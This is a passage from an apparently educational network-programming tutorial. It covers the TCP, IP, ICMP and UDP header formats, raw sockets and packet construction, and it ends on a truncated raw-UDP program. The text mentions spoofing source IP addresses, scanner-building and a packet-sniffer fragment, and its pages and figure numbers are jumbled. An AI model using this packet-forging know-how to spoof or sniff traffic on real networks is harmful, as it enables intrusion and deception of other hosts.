protocols. TCP provides reliability with a mechanism called Positive Acknowledgement with Retransmission
(PAR). Simply said, a system using PAR resends the data, unless it hears from the remote system that the data
received is okay. The unit of data exchanged between co-operating TCP modules is called a segment. The
following is a TCP segment format.
Field Description
Source port (16
Specifies the port on the sending TCP module.
bits)
Destination
port Specifies the port on the receiving TCP module.
(16 bits)
Specifies the sequence position of the first data octet in the segment. When the segment
Sequence number
opens a connection, the sequence number is the Initial Sequence Number (ISN) and the
(32 bits)
first octet in the data field is at sequence ISN+1.
Acknowledgement Specifies the next sequence number that is expected by the sender of the segment. TCP
number indicates that this field is active by setting the ACK bit, which is always set after a
32 bits) connection is established.
Data offset
Specifies the number of 32-bit word in the TCP header.
4 bits)
Reserved
Must be zero. Reserved for future use.
(6 bits)
The six control bits are as follow:
▪ URG - When set, the Urgent Pointer field is significant.
▪ ACK - When set, the acknowledgement Number field is significant.
Control bits ▪ PSH - Initiates a push function.
(6 bits) ▪ RST - Forces a reset of the connection.
▪ SYN - Synchronizes sequencing counters for the connection. This bit is set when a
segment request opening of a connection.
▪ FIN - No more data. Closes the connection.
Window Specifies the number of octets, starting with the octet specified in the acknowledgement
(16 bits) number field, which the sender of the segment can currently accept.
An error control checksum that covers the header and data fields. It does not cover any
padding required to have the segment consists of an even number of octets. The checksum
also covers a 96-pseudoheader as shown below; it includes source and destination
Checksum
addresses, the protocol, and the segment length. The information is forwarded with the
(16 bits)
segment to IP to protect TCP from miss-routed segments. The value of the segment length
a field includes the TCP header and data, but doesn’t include the length of the
pseudoheader.
Urgent Pointer Identifies the sequence number of the octet following urgent data. The urgent pointer is a
(16 bits) positive offset from the sequence number of the segment.
Options Options are available for a variety of functions.
www.tenouk.com Page 11 of 19
(variable)
Padding 0-value octets are appended to the header to ensure that the header ends on a 32-bit word
(variable) boundary.
Each segment contains a checksum that the recipient uses to verify that the data is undamaged. If the data segment
is received undamaged, the receiver sends a positive acknowledgement back to the sender. If the data segment is
damaged, the receiver discards it. After an appropriate time-out period, the sending TCP module retransmits any
segment for which no positive acknowledgement has been received. TCP is connection-oriented. It establishes a
logical end-to-end connection between the two communication hosts. Control information, called a handshake, is
exchanged between the two endpoints to establish a dialogue before data is transmitted. TCP indicates the control
function of a segment by setting the appropriate bit in the flags field of the segment header. The type of
handshake used by TCP is called a three-way handshake because three segments are exchanged. The following
figure illustrates the three-way handshake mechanism.
The client who needs to initialize a connection sends out a SYN segment (Synchronize) to the server along with the
initial sequence number. No data is sent during this process, and the SYN segment contains only TCP header and IP
header. When the server receives the SYN segment, it acknowledges the request with its own SYN segment, called
SYN-ACK segment. When the client receives the SYN-ACK, it sends an ACK for the server's SYN. At this stage the
connection is "established."
Unlike TCP connection initialization, which is a three-way process, connection termination takes place with the
exchange of four-way packets. The following figure illustrates the TCP termination process.
www.tenouk.com Page 12 of 19
Figure 18: A Four-Way of the TCP termination.
1. The client who needs to terminate the connection sends a FIN segment to the server that is a TCP Packet
with the FIN flag set, indicating that it has finished sending the data.
2. The server, upon receiving the FIN segment, does not terminate the connection but enters into a "passive
close" (CLOSE_WAIT) state and sends an ACK for the FIN back to the client with the sequence number
incremented by one. Now the server enters into LAST_ACK state.
3. When the client gets the last ACK from the server, it enters into a TIME_WAIT state, and sends an ACK
back to the server with the sequence number incremented by one.
4. When the server gets the ACK from the client, it closes the connection.
TCP employs the positive acknowledgement with retransmission technique for the purpose of achieving reliability
in service.
Figure 80 illustrates a simple ladder diagram depicting the events taking place between two hosts. The arrows
represent transmitted data and/or acknowledgements, and time is represented by the vertical distance down the
ladder. When TCP send a data segment, it requires an acknowledgement from the receiving end. The
acknowledgement is used to update the connection state table. An acknowledgement can be positive or negative. A
positive acknowledgement implies that the receiving host recovered the data and that it passed the integrity check.
A negative acknowledgement implies that the failed data segment needs to be retransmitted. It can be caused by
failures such as data corruption or loss.
Figure 20: TCP implementation of the time-out mechanism to keep track of loss segments.
www.tenouk.com Page 13 of 19
In figure 81, illustrates what happens when a packet is lost on the network and fails to reach its ultimate destination.
When a host sends data, it starts a countdown timer. If the timer expires without receiving an acknowledgement,
this host assumes that the data segment was lost. Consequently, this host retransmits a duplicate of the failing
segment. TCP keep a copy of all transmitted data with outstanding positive acknowledgement. Only after receiving
the positive acknowledgement is this copy discarded to make room for other data in its buffer.
The interface between TCP and a local process is a port, which is a mechanism that enables the process to call TCP
and in turn enables TCP to deliver data streams to the appropriate process. Ports are identified by port numbers. To
fully specify a connection, the host IP address is appended to the port number. This combination of IP address and
port number is called a socket. A given socket number is unique on the internetwork. A connection between two
hosts is fully described by the sockets assigned to each end of the connection.
Figure 21: A TCP data stream that starts with an Initial Sequence Number (ISN) of 0.
In figure 82, the receiving system has received and acknowledged 2000 bytes. So the current Acknowledgement
Number is 2000. The receiver also has enough buffer space for another 6400 bytes, so it has advertised a Window
of 6000. The sender is currently sending a segment of 1000 bytes starting with Sequence Number 4001. The sender
has received no acknowledgement for the bytes from 2001 on, but continues sending data as long as it is within the
window. If the sender fills the window and receives no acknowledgement of the data previously sent, it will, after
an appropriate time-out, resend the data starting from the first unacknowledged byte. Retransmission would start
from byte 2001 if no further acknowledgements are received. This procedure ensures that data is reliably received
at the far end of the network.
From the perspective of Applications, communication with the network involves sending and receiving continuous
streams of data. It seems that the Application is not responsible for fragmenting the data to fit lower-layer
protocols. The whole process can be illustrated in the following figure.
www.tenouk.com Page 14 of 19
Figure 22: How data is processed as they travel down the protocol stack, through
the network, and up the protocol stack of the receiver.
Brief description:
Application Layer
The Application layer includes all processes that use the transport layer protocols to deliver data. There are many
applications protocols. A good example of concerns handled by these processes is the reconciliation of differences
in the data syntax between the platforms on which the applications are running. It should be clear that unless this
difference in data representation is handled properly, any exchange of data involving these processes id likely to
yield erroneous interpretations of numerical data. To resolve this issue, and other similar issues, TCP/IP defines the
eXternal Data Representation (XDR) protocol. Reflecting on the nature of this problem, you can easily see that
the problem has nothing to do with the underlying network topology, wiring, or electrical interference.
Application examples that use TCP:
▪ TELNET: The Network Terminal Protocol provides remote login over the network.
▪ FTP: The File Transfer Protocol is used for interactive file transfer between hosts.
▪ SMTP: The Simple Mail Transfer Protocol acts as Mail Transfer Agent (MTA) that delivers electronic
mail.
▪ SNMP: The Simple Network Management Protocol is used to collect management information from
network devices.
▪ DNS : Domain Name Service, maps IP addresses to the names assigned to network devices.
▪ RIP: Routing Information Protocol, routing is the central to the way TCP/IP networks. RIP is used by the
network devices to exchange routing information.
www.tenouk.com Page 15 of 19
▪ NFS : Network File System, this protocol allows files to be shared by various hosts on the network as if
they were local drives.
Intro
In this section and that follows, we will learn the basics of using raw sockets. Here, we will try to construct our own
packet and insert any IP protocol based datagram into the network traffic. This is useful, for example, to build raw
socket scanners like nmap, to spoof or to perform operations that need to send out raw sockets. Basically, you can
send any packet at any time, whereas using the interface functions for your systems IP-stack (connect(),
write(), bind(), etc.) as discussed in the previous Modules but you don’t have direct control over the packets.
This theoretically enables you to simulate the behavior of your OS's IP stack, and also to send stateless traffic
(datagrams that don't belong to any valid connection).
The usage of the raw socket is to send a single packet at one time, with all the protocol headers filled in by the
program (instead of the kernel). As discussed in the previous Modules, when you create a socket and bind it to a
process/port, you don't care about IP or TCP header fields as long as you are able to communicate with the server.
The kernel or the underlying operating system builds the packet including the checksum for your data. Thus,
network programming was so easy with the traditional cooked sockets. Contrarily, raw sockets let you fabricate the
header fields including information like source IP address etc. The following is a socket() prototype.
If you check the man page for socket(), the socket types defined for the type parameter includes:
Type Description
Provides sequenced, reliable, two-way, connection-based byte streams. An out-
SOCK_STREAM
of-band data transmission mechanism may be supported.
Supports datagrams (connectionless, unreliable messages of a fixed maximum
SOCK_DGRAM
length).
Provides a sequenced, reliable, two-way connection-based data transmission
SOCK_SEQPACKET path for datagrams of fixed maximum length; a consumer is required to read an
entire packet with each read system call.
SOCK_RAW Provides raw network protocol access.
SOCK_RDM Provides a reliable datagram layer that does not guarantee ordering.
Obsolete and should not be used in new programs. Use packet (check man page
SOCK_PACKET
for packet) instead.
There are two methods of receiving packets from the datalink layer under Linux. The original method, which is
more widely available but less flexible and obsolete, is to create a socket of type SOCK_PACKET. The newer
method, which introduces more filtering and performance features, is to create a socket of family PF_PACKET. To
do either, we must have sufficient privileges (similar to creating a raw socket), and the third argument to socket
must be a nonzero value specifying the Ethernet (may use other frame type such as Token Ring etc.) frame type.
When using PF_PACKET sockets, the second argument to socket can be SOCK_DGRAM, for "cooked" packets with
the link-layer header removed, or SOCK_RAW, for the complete link-layer packet. SOCK_PACKET sockets only
return the complete link layer packet. For example, to receive all frames from the datalink, we may write:
/* newer systems*/
fd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
Or
/* older systems*/
fd = socket(AF_INET, SOCK_PACKET, htons(ETH_P_ALL));
This would return frames for all protocols that the datalink receives. If we want only IPv4 frames, the call would
be:
/* newer systems */
fd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_IP));
www.tenouk.com Page 16 of 19
Or
/* older systems */
fd = socket(AF_INET, SOCK_PACKET, htons(ETH_P_IP));
Other constants for the final argument are ETH_P_ARP and ETH_P_IPV6, for example.
And for the domain parameter constants are listed below. In the previous Modules we just use the AF_INET.
Name Purpose
PF_UNIX, PF_LOCAL Local communication.
PF_INET IPv4 Internet protocols.
PF_INET6 IPv6 Internet protocols.
PF_IPX IPX - Novell protocols.
PF_NETLINK Kernel user interface device.
PF_X25 ITU-T X.25 / ISO-8208 protocol.
PF_AX25 Amateur radio AX.25 protocol.
PF_ATMPVC Access to raw ATM PVCs.
PF_APPLETALK Appletalk.
PF_PACKET Low level packet interface.
The protocol parameter specifies a particular protocol number/name string to be used with the socket. Normally
only a single protocol exists to support a particular socket type within a given protocol family, in which a case
protocol can be specified as 0 (as used in the program examples in previous Modules). However, it is possible that
many protocols may exist, in which case a particular protocol must be specified in this manner. The protocol
number to use is specific to the communication domain. Partial list of the protocol number have been discussed in
IPv4 Datagram Format section (or you can check man getprotobyname() page or RFC1700 for a complete
list). To map protocol name strings to protocol numbers you may use getprotoent() function.
In the previous Modules we have already made familiar with SOCK_STREAM and SOCK_DGRAM. In this section,
we'll be using SOCK_RAW, which includes the IP headers (and all subsequent protocol headers of the upper layer as
needed) and data. In the previous program examples also we used SOCK_STREAM (TCP/connection oriented) and
SOCK_DGRAM (UDP/connectionless) sockets as shown below:
And
#include <sys/socket.h>
#include <netinet/in.h>
Depending on what you want to send, you initially open a socket and give it its type. For example:
For the <protocol>, you can choose from any protocol (number or string) including IPPROTO_RAW. The
protocol number goes into the IP header verbatim. IPPROTO_RAW places 0 in the IP header. A socket option
IP_HDRINCL allows you to include your own IP header along with the rest of the packet. Then, you might use it
as:
char on = 1;
setsockopt(sockd, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on));
You then build the packet and use a normal sendto(), recvfrom() etc.
The Internet IPv4 layer generates an IP header when sending a packet unless the IP_HDRINCL socket option is
enabled on the socket. When it is enabled, the packet must contain an IP header that you should include in your
www.tenouk.com Page 17 of 19
program. Only processes with an effective user id of 0 (root) or the CAP_NET_RAW capability are allowed to open
raw sockets. A protocol of IPPROTO_RAW implies the IP_HDRINCL is enabled. For this case, the following is a
summary for the IP header.
If IP_HDRINCL is specified and the IP header has a non-zero destination address then the destination address of the
socket is used to route the packet. When MSG_DONTROUTE is specified the destination address should refer to a
local interface, otherwise a routing table lookup is done anyways but gatewayed routes are ignored. If
IP_HDRINCL isn't set then IP header options can be set on raw sockets with setsockopt() as shown before.
Raw sockets are usually only needed for new protocols or protocols with no user interface (like ICMP). When a
packet is received, it is passed to any raw sockets which have been bound to its protocol before it is passed to other
protocol handlers (e.g. kernel protocol modules).
Raw sockets use the standard sockaddr_in address structure defined in ip.h. For example:
...
struct sockaddr_in sin;
...
// Address family
sin.sin_family = AF_INET;
// Port numbers
sin.sin_port = srcportnum;
// IP addresses
sin.sin_addr.s_addr = inet_addr(argv[1]);
Raw socket options can be set with setsockopt() and read with getsockopt() by passing the SOL_RAW
family flag. Raw sockets fragment a packet when its total length exceeds the interface Maximum Transfer Unit
(MTU). A raw socket can be bound to a specific local address using the bind() call. If it isn't bound, all packets
with the specified IP protocol are received. In addition a RAW socket can be bound to a specific network device
using SO_BINDTODEVICE (check the socket() man page).
An IPPROTO_RAW socket is send only. If you really want to receive all IP packets use a packet() socket with
the ETH_P_IP protocol. Note that packet sockets don't reassemble IP fragments, unlike raw sockets.
If you want to receive all ICMP packets for a datagram socket it is often better to use IP_RECVERR on that
particular socket.
Raw sockets may tap all IP protocols in Linux for example, even protocols like ICMP or TCP which have a protocol
module in the kernel. In this case the packets are passed to both the kernel module and the raw socket(s).
----------------------------------------------------------------Break--------------------------------------------------------------
Note:
The Maximum Transfer Unit (MTU) specifies the maximum transmission unit size of an interface. Each interface
used by TCP/IP may have a different MTU value specified. The MTU is usually determined through negotiation
with the lower-level driver and by using that lower-level driver value. However, that value may be overridden.
Each media type (used in Ethernet, FDDI, Token Ring etc) has a maximum frame size that cannot be exceeded. The
link layer is responsible for discovering this MTU and reporting it to the protocols above the link layer. Network
Driver Interface Specification (NDIS) drivers may be queried for the local MTU by the protocol stack. Knowledge
of the MTU for an interface is used by upper-layer protocols, such as TCP, which automatically optimizes packet
sizes for each medium.
----------------------------------------------------------------Break--------------------------------------------------------------
From the moment the raw socket is created, you can send any IP packets over it, and receive any IP packets that the
host received after that socket was created if you read() from it. Note that even though the socket is an interface
to the IP header, it is transport layer specific. That means, for listening to TCP, UDP and ICMP traffic, you have to
create 3 separate raw sockets, using IPPROTO_TCP, IPPROTO_UDP and IPPROTO_ICMP (the protocol numbers
are 6 for tcp, 17 for udp and 1 for icmp).
www.tenouk.com Page 18 of 19
With this knowledge, we can, for example, create a small sniffer program as shown in the following code portion
that dumps out the contents of all tcp packets we receive and print out the payload, the data of the
session/application layer etc.
...
char buffer[8192];
struct ipheader *ip = (struct ipheader *) buffer;
struct udpheader *udp = (struct udpheader *) (buffer + sizeof(struct ipheader));
...
while (read(fd, buffer, 8192) > 0)
/* packet = data + ip header + tcp header */
/* Little Endian/Big Endian must be considered here */
printf("Dump the packet: %s\n", buffer + sizeof(struct ipheader) + sizeof(struct tcpheader));
1. Check the best selling C/C++, Networking, Linux and Open Source books at Amazon.com.
www.tenouk.com Page 19 of 19
MODULE 43
NETWORK PROGRAMMING
SOCKET PART V
Advanced TCP/IP and RAW SOCKET
Note:
This is a continuation from Part IV, Module42. Working program examples compiled using gcc, tested using the
public IPs, run on Fedora 3, with several times of update, as root or suid 0. The Fedora machine used for the testing
having the "No Stack Execute" disabled and the SELinux set to default configuration.
This Module will concentrate on the TCP/IP stack and will try to dig deeper till the packet level.
To fabricate our own packets, what we all need to know is the structures of the protocols that need to be included.
We can define our own protocol structure (packets’ header) then assign it with new values or we just assign new
values for the standard built-in structures’ elements. Below you will find detail information of the IP, ICMP, UDP
and TCP headers. Unix/Linux systems provide standard structures for the header files, so it is very useful in
learning and understanding packets by fabricating our own packet by using a struct, so we have the flexibility in
filling the packet headers. We can always create our own struct, as long as the length of each field is correct. In
building our program later on, note also the little endian (Intel x86) notation and the big endian based machines
(some processor architectures other than Intel x86 such as Motorola). The following sections try to analyze header
structures that will be used to construct our own packet in the program examples that follows, so that we know what
values should be filled in and which meaning they have. The data types that we need to use are: unsigned char
(1 byte/8 bits), unsigned short int (2 bytes/16 bits) and unsigned int (4 bytes/32 bits). Some of the
information presented in the following sections might be a repetition from the previous one.
IP
The following figure is IP header format that will be used as our reference in the following discussion.
The following is a structure for IP header example. Here we try defining all the IP header fields.
struct ipheader {
unsigned char iph_ihl:4, ip_ver:4;
unsigned char iph_tos;
unsigned short int iph_len;
unsigned short int iph_ident;
unsigned char iph_flags;
unsigned short int iph_offset;
unsigned char iph_ttl;
unsigned char iph_protocol;
unsigned short int iph_chksum;
unsigned int iph_source;
unsigned int iph_dest;
};
The Internet Protocol is the network layer protocol, used for routing the data from the source to its destination.
Every datagram contains an IP header followed by a transport layer protocol such as tcp or udp. The following
Table is a list of the IP header fields and their information.
www.tenouk.com Page 1 of 19
Element/field Description
iph_ver 4 bits of the version of IP currently used, the ip version is 4 (other version is IPv6).
4 bits, the ip header (datagram) length in 32 bits octets (bytes) that point to the beginning of the
data. The minimum value for a correct header is 5. This means a value of 5 for the iph_ihl
iph_ihl
means 20 bytes (5 * 4). Values other than 5 only need to be set if the ip header contains options
(mostly used for routing).
8 bits, type of service controls the priority of the packet. 0x00 is normal; the first 3 bits stand
for routing priority, the next 4 bits for the type of service (delay, throughput, reliability and
cost).
It indicates the quality of service desired by specifying how an upper-layer protocol would like
a current datagram to be handled, and assigns datagrams various levels of importance. This
field is used for the assignment of Precedence, Delay, Throughput and Reliability. These
parameters are to be used to guide the selection of the actual service parameters when
transmitting a datagram through a particular network. Several networks offer service
precedence, which somehow treats high precedence traffic as more important than other traffic
(generally by accepting only traffic above certain precedence at time of high load). The major
choice is a three way tradeoff between low-delay, high-reliability, and high-throughput.
0 1 2 3 4 5 6 7
Precedence D T R 0 0
The use of the Delay, Throughput, and Reliability indications may increase the cost (in some
sense) of the service. In many networks better performance for one of these parameters is
coupled with worse performance on another. Except for very unusual cases at most two of
these three indications should be set.
The type of service is used to specify the treatment of the datagram during its transmission
through the internet system.
The Network Control precedence designation is intended to be used within a network only. The
actual use and control of that designation is up to each network. The Internetwork Control
designation is intended for use by gateway control originators only. If the actual use of these
precedence designations is of concern to a particular network, it is the responsibility of that
network to control the access to, and use of, those precedence designations.
The total is 16 bits; total length must contain the total length of the ip datagram (ip and data) in
bytes. This includes ip header, icmp or tcp or udp header and payload size in bytes.
iph_len
The maximum length could be specified by this field is 65,535 bytes. Typically, hosts are
prepared to accept datagrams up to 576 bytes (whether they arrive whole or in fragments).
The iph_ident sequence number is mainly used for reassembly of fragmented IP datagrams.
iph_ident When sending single datagrams, each can have an arbitrary ID. It contains an integer that
identifies the current datagram. This field is assigned by sender to help receiver to assemble the
datagram fragments.
Consists of a 3-bit field of which the two low-order (least-significant) bits control
fragmentation. The low-order bit specifies whether the packet can be fragmented. The middle
bit specifies whether the packet is the last fragment in a series of fragmented packets. The third
iph_flag
or high-order bit is not used. The Control Flags:
www.tenouk.com Page 2 of 19
Bit 1: (DF) 0 = May Fragment, 1 = Don't Fragment.
Bit 2: (MF) 0 = Last Fragment, 1 = More Fragments.
0 1 2
0 DF MF
The fragment offset is used for reassembly of fragmented datagrams. The first 3 bits are the
fragment flags, the first one always 0, the second the do-not-fragment bit (set by ihp_offset
= 0x4000) and the third the more-flag or more-fragments-following bit (ihp_offset =
ihp_offset 0x2000). The following 13 bits is the fragment offset, containing the number of 8-byte big
packets already sent.
This 13 bits field indicates the position of the fragment's data relative to the beginning of the
data in the original datagram, which allows the destination IP process to properly reconstruct
the original datagram.
8 bits, time to live is the number of hops (routers to pass) before the packet is discarded, and an
icmp error message is returned. The maximum is 255. It is a counter that gradually decrements
iph_ttl
down to zero, at which point the datagram is discarded. This keeps packets from looping
endlessly.
8 bits, the transport layer protocol. It can be tcp (6), udp (17), icmp (1), or whatever protocol
iph_protocol follows the ip header. Look in /etc/protocols or RFC 1700 for more. It indicates which
upper-layer protocol receives incoming packets after IP processing is complete.
16 bits, a checksum on the header only, the ip datagram. Every time anything in the datagram
changes, it needs to be recalculated, or the packet will be discarded by the next router. It helps
iph_chksum
ensure IP header integrity. Since some header fields change, e.g., Time To Live, this is
recomputed and verified at each point that the Internet header is processed.
32 bits, source IP address. It is converted to long format, e.g. by inet_addr(). Can be
iph_source
chosen arbitrarily (as used in IP spoofing).
32 bits, destination IP address, converted to long format, e.g. by inet_addr(). Can be
iph_dest
chosen arbitrarily.
Variable. The options may appear or not in datagrams. They must be implemented by all IP
modules (host and gateways). What is optional is their transmission in any particular datagram,
Options
not their implementation. In some environments the security option may be required in all
datagrams. The option field is variable in length. There may be zero or more options.
Variable. The internet header padding is used to ensure that the internet header ends on a 32 bit
Padding
boundary. The padding is zero.
Fragmentation
Fragmentation, transmission and reassembly across a local network which is invisible to the internet protocol (IP)
are called intranet fragmentation. Fragmentation of an internet datagram is necessary when it originates in a local
network that allows a large packet size and must traverse a local network that limits packets to a smaller size to
reach its destination. An internet datagram can be marked "don't fragment". When the internet datagram is marked
like that, it is not to be internet fragmented under any circumstances. If internet datagram that has been marked as
"don't fragment" cannot be delivered to its destination without fragmenting it, it will be discarded instead.
The internet fragmentation and reassembly procedure needs to be able to break a datagram into an almost arbitrary
number of pieces that can be later reassembled. The receiver of the fragments uses the identification field to
ensure that fragments of different datagrams are not mixed. The fragment offset field tells the receiver the
position of a fragment in the original datagram. The fragment offset and length determine the portion of
the original datagram covered by this fragment. The more-fragments flag indicates (by being reset) the last
fragment. These fields provide sufficient information to reassemble datagrams.
The identification field is used to distinguish the fragments of one datagram from another. The originating
protocol module of an internet datagram sets the identification field to a value that must be unique for that
source-destination pair and protocol for the time the datagram will be active in the internet system. The originating
protocol module of a complete datagram sets the more-fragments flag to zero and the fragment offset to zero.
To fragment a long internet datagram, an internet protocol module (for example, in a gateway/router), creates two
new internet datagrams and copies the contents of the internet header fields from the long datagram into both new
internet headers. The data of the long datagram is divided into two portions on an 8 bytes (64 bit) boundary (the
second portion might not be an integral multiple of 8 bytes, but the first must be). The number of 8 byte blocks in
www.tenouk.com Page 3 of 19
the first portion is called NFB (for Number of Fragment Blocks). The first portion of the data is placed in the first
new internet datagram, and the total length field is set to the length of the first datagram. The more-
fragments flag is set to one. The second portion of the data is placed in the second new internet datagram, and
the total length field is set to the length of the second datagram. The more-fragments flag carries the same
value as the long datagram. The fragment offset field of the second new internet datagram is set to the value
of that field in the long datagram plus NFB.
This procedure can be generalized for an n-way split, rather than the two-way split described. To assemble the
fragments of an internet datagram, an internet protocol module (for example at a destination host) combines internet
datagrams that all have the same value for the four fields: identification, source, destination, and
protocol. The combination is done by placing the data portion of each fragment in the relative position indicated
by the fragment offset in that fragment's internet header. The first fragment will have the fragment
offset zero, and the last fragment will have the more-fragments flag reset to zero.
ICMP
IP itself has no mechanism for establishing and maintaining a connection, or even containing data as a direct
payload. Internet Control Messaging Protocol is merely an addition to IP to carry error, routing and control
messages and data, and is often considered as a protocol of the network layer. The following is ICMP header
format.
The following example is a structure that tries to define the ICMP header. This structure defined for Echo or Echo
Reply Message.
struct icmpheader {
unsigned char icmph_type;
unsigned char icmph_code;
unsigned short int icmph_chksum;
/* The following data structures are ICMP type specific */
unsigned short int icmph_ident;
unsigned short int icmph_seqnum;
}; /* total icmp header length: 8 bytes (= 64 bits) */
Messages can be error or informational messages. Error messages can be Destination unreachable, Packet too big,
Time exceed, Parameter problem. The possible informational messages are, Echo Request, Echo Reply, Group
Membership Query, Group Membership Report and Group Membership Reduction. The following Table lists all
the information for the previous structure element (the ICMP header’s fields).
Element/field Description
The message type, for example 0 - echo reply, 8 - echo request, 3 - destination unreachable.
Look in for all the types. For each type of message several different codes are defined. An
icmph_type example of this is the Destination Unreachable message, where possible messages are: no route
to destination, communication with destination administratively prohibited, not a neighbor,
address unreachable, port unreachable. For further details, refer to the standard.
This is significant when sending an error message (unreach), and specifies the kind of error.
Again, consult the include file for more. The 16-bit one's complement of the one's complement
icmph_code
sum of the ICMP message starting with the ICMP type. For computing the checksum, the
checksum field should be zero.
The checksum for the icmp header + data. Same as the IP checksum. Note: The next 32 bits in
an icmp packet can be used in many different ways. This depends on the icmp type and code.
icmph_chksum
The most commonly seen structure, an ID and sequence number, is used in echo requests and
replies, but keep in mind that the header is actually more complex.
An identifier to aid in matching requests/replies; may be zero. Used to echo request/reply
icmph_ident
messages, to identify the request.
Sequence number to aid in matching requests/replies; may be zero. Used to identify the
icmph_seqnum
sequence of echo messages, if more than one is sent.
www.tenouk.com Page 4 of 19
Table 10: ICMP header fields description.
The following is an example of the ICMP header format as defined in the above structure for Echo or Echo Reply
Message.
Figure 25: An example of IP header format for Echo or Echo Reply Message.
The description:
Field Description
Type 8 - For echo message; 0 - for echo reply message.
Code 0.
The checksum is the 16-bit ones’ complement of the one's complement sum of the ICMP
message starting with the ICMP Type. For computing the checksum, the checksum field should
Checksum
be zero. If the total length is odd, the received data is padded with one octet of zeros for
computing the checksum. This checksum may be replaced in the future.
Identifier If code = 0, an identifier to aid in matching echoes and replies, may be zero.
If code = 0, a sequence number to aid in matching echoes and replies, may be zero. The data
received in the echo message must be returned in the echo reply message. The identifier and
Sequence sequence number may be used by the echo sender to aid in matching the replies with the echo
Number requests. For example, the identifier might be used like a port in TCP or UDP to identify a
session, and the sequence number might be incremented on each echo request sent. The echoer
returns these same values in the echo reply. Code 0 may be received from a gateway or a host.
Table 11: IP header fields for Echo or Echo Reply Message description.
UDP
The User Datagram Protocol is a transport protocol for sessions that need to exchange data. Both transport
protocols, UDP and TCP provide 65535 (216) different standard and non standard source and destination ports. The
destination port is used to connect to a specific service on that port. Unlike TCP, UDP is not reliable, since it
doesn't use sequence numbers and stateful connections. This means UDP datagrams can be spoofed, and might not
be reliable (e.g. they can be lost unnoticed), since they are not acknowledged using replies and sequence numbers.
The following figure shows the UDP header format.
struct udpheader {
unsigned short int udph_srcport;
unsigned short int udph_destport;
unsigned short int udph_len;
unsigned short int udph_chksum;
}; /* total udp header length: 8 bytes (= 64 bits) */
A brief description:
Element/field Description
The source port that a client bind()s to, and the contacted server will reply back to in order
udph_srcport
to direct his responses to the client. It is an optional field, when meaningful, it indicates the
www.tenouk.com Page 5 of 19
port of the sending process, and may be assumed to be the port to which a reply should be
addressed in the absence of any other information. If not used, a value of zero is inserted.
udph_destport The destination port that a specific server can be contacted on.
The length of udp header and payload data in bytes. It is a length in bytes of this user
udph_len datagram including this header and the data. (This means the minimum value of the length is
eight.)
The checksum of header and data, see IP checksum. It is the 16-bit one's complement of the
one's complement sum of a pseudo header (shown in the following figure) of information
from the IP header, the UDP header, and the data, padded with zero octets at the end (if
necessary) to make a multiple of two octets.
The pseudo header conceptually prefixed to the UDP header contains the source address, the
udph_chksum
destination address, the protocol, and the UDP length. This information gives protection
against misrouted datagrams. This checksum procedure is the same as used in TCP.
If the computed checksum is zero, it is transmitted as all ones (the equivalent in one's
complement arithmetic). An all zero transmitted checksum value means that the transmitter
generated no checksum (for debugging or for higher level protocols that don't care).
TCP
The Transmission Control Protocol is the mostly used transport protocol that provides mechanisms to establish a
reliable connection with some basic authentication, using connection states and sequence numbers. The following is
a TCP header format.
struct tcpheader {
unsigned short int tcph_srcport;
unsigned short int tcph_destport;
unsigned int tcph_seqnum;
unsigned int tcph_acknum;
unsigned char tcph_reserved:4, tcph_offset:4;
unsigned char tcph_flags;
unsigned short int tcph_win;
unsigned short int tcph_chksum;
unsigned short int tcph_urgptr;
};
/* total tcp header length: 20 bytes (= 160 bits) */
A brief description:
Element/field Description
tcph_srcport The 16 bits source port, which has the same function as in UDP.
www.tenouk.com Page 6 of 19
tcph_destport The 16 bits destination port, which has the same function as in UDP.
The 32 bits sequence number of the first data octet in this segment (except when SYN is
present). If SYN is present the sequence number is the initial sequence number (ISN) and the
first data octet is ISN+1.
tcph_seqnum It is used to enumerate the TCP segments. The data in a TCP connection can be contained in
any amount of segments (= single tcp datagrams), which will be put in order and
acknowledged. For example, if you send 3 segments, each containing 32 bytes of data, the
first sequence would be (N+)1, the second one (N+)33 and the third one (N+)65. "N+"
because the initial sequence is random.
32 bits. If the ACK control bit is set this field contains the value of the next sequence number
the sender of the segment is expecting to receive. Once a connection is established this is
tcph_acknum always sent. Every packet that is sent and a valid part of a connection is acknowledged with
an empty TCP segment with the ACK flag set (see below), and the tcph_acknum field
containing the previous tcph_seqnum number.
The segment offset specifies the length of the TCP header in 32bit/4byte blocks. Without tcp
tcph_offset
header options, the value is 5.
tcph_reserved 4 bits reserved for future use. This is unused and must contain binary zeroes.
This field consists of six bits flags (left to right). They can be ORed.
TH_URG - Urgent. Segment will be routed faster, used for termination of a connection or to
stop processes (using telnet protocol).
TH_ACK - Acknowledgement. Used to acknowledge data and in the second and third stage of
a TCP connection initiation.
TH_PSH - Push. The systems IP stack will not buffer the segment and forward it to the
tcph_flags
application immediately (mostly used with telnet).
TH_RST - Reset. Tells the peer that the connection has been terminated.
TH_SYN - Synchronization. A segment with the SYN flag set indicates that client wants to
initiate a new connection to the destination port.
TH_FIN - Final. The connection should be closed, the peer is supposed to answer with one
last segment with the FIN flag set as well.
16 bits Window. The number of bytes that can be sent before the data should be
tcph_win
acknowledged with an ACK before sending more segments.
The checksum field is the 16 bit one's complement of the one's complement sum of all 16 bit
words in the header and text. If a segment contains an odd number of header and text octets to
be checksummed, the last octet is padded on the right with zeros to form a 16 bit word for
checksum purposes. The pad is not transmitted as part of the segment. While computing the
checksum, the checksum field itself is replaced with zeros. It is the checksum of pseudo
header, tcp header and payload. The pseudo is a structure containing IP source and
tcph_chksum destination address, 1 byte set to zero, the protocol (1 byte with a decimal value of 6), and 2
bytes (unsigned short) containing the total length of the tcp segment.
The checksum also covers a 96 bit pseudo header (shown in the following figure)
conceptually prefixed to the TCP header. This pseudo header contains the Source Address,
the Destination Address, the Protocol, and TCP length. This gives the TCP protection against
misrouted segments. This information is carried in the Internet Protocol and is transferred
across the TCP/Network interface in the arguments or results of calls by the TCP on the IP.
Urgent pointer. Only used if the TH_URG flag is set, else zero. It points to the end of the
tcph_urgptr
payload data that should be sent with priority.
The TCP Length is the TCP header length plus the data length in octets (this is not an explicitly transmitted quantity,
but is computed), and it does not count the 12 octets of the pseudo header.
www.tenouk.com Page 7 of 19
[root@bakawali testraw]# cat rawudp.c
// ----rawudp.c------
// Must be run by root lol! Just datagram, no payload/data
#include <unistd.h>
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
memset(buffer, 0, PCKT_LEN);
if(argc != 5)
{
